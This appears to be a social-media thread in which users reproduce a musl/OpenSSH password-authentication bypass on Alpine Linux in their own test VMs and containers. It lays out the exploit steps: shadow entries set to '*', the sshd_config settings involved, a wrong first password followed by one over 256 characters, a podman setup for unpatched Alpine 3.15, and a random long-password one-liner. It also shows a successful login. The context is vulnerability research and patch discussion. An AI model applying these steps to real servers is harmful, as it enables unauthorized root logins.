Okay, was anyone actually able to replicate the musl/openssh bug? I've had no luck with Alpine 3.20.10 (OpenSSH_9.7p1, OpenSSL 3.3.7 7 Apr 2026).

/etc/shadow, last two lines:

test:*:20762:0:99999:7:::
q3k:$6$snip.GgDQNTrqqX.A0:20762:0:99999:7:::

I have UsePAM no and PasswordAuthentication yes in my sshd_config. I try to ssh test@, first with a wrong password, then with 'A' * 300, but no dice.

Is this bug actually real?

EDIT: My OpenSSH was too new, even on an EOL Alpine version!

@q3k set password needs to use a sha512 hash

@leah Both are true for me (sha512 is the default passwd alg so q3k has a sha512 hash, I was SSHing into test@ which has *)

Also tried with Alpine 3.24:

# egrep '^(UsePAM|PasswordAuth)' /etc/ssh/sshd_config
PasswordAuthentication yes
UsePAM no

# tail -n 2 /etc/shadow
test:*:20762:0:99999:7:::
q3k:$6$eJLs70DqyWwY56dz$08OcuaYH55B4Ux2OiB/5VbgUHsDRH8GvKmwS9i48ItXgfKhCbs17QIcgm130Z08ydXyRgP2L3BGnAC0MKlHwL.:20762:0:99999:7:::

I'm starting to feel stupid here. I know someone else was able to reproduce it on some older Alpine box, so I'm pretty sure I'm doing something wrong? Or maybe there's another prerequisite here?

Oh, I think Alpine just ninja-updated openssh for EOL versions, too? And it updates during installation from CD?

I have openssh-9.7_p1-r6. That seems patched.

Yeah, okay, had to downgrade OpenSSH (by building an old version) and then this works quite well:

$ ssh test@192.168.122.70
test@192.168.122.70's password:
Permission denied, please try again.
test@192.168.122.70's password:
Welcome to Alpine!

[snip]

alpine320:~$

Neat!

@q3k yes, down to 3.16. https://alpinelinux.org/posts/2026-11-05-openssh-password-authentication-bypass/#:~:text=Branch,version

@q3k yeah they’re backporting until .16

@q3k

Yeah, they patched it everywhere the default config would be vulnerable already it seems.

However, they didn't patch 3.15. It still has root as ! rather than * and so none of the default accounts are affected by this.

podman run -ti -p 2222:22 docker.io/alpine:3.15.0

apk add --update openssh-server nano

passwd guest # Set it to whatever
nano /etc/shadow # Change root to *
nano /etc/ssh/sshd_config # Change PermitRootLogin to yes

ssh-keygen -A
/usr/sbin/sshd

Boom, root is accessible with garbage long passwords. But the weird thing is that it doesn't work on the first password attempt, so you can submit whatever as the first password and then something longer than 256 characters as the second and you get it.

@remmy @q3k I assume you have other, bigger problems if you still run alpine 3.15.

@ncopa @remmy @q3k you have bigger problems if you still run alpine <3.21 tbh

@q3k it works w/ head -c9024 /dev/urandom | base64 -w0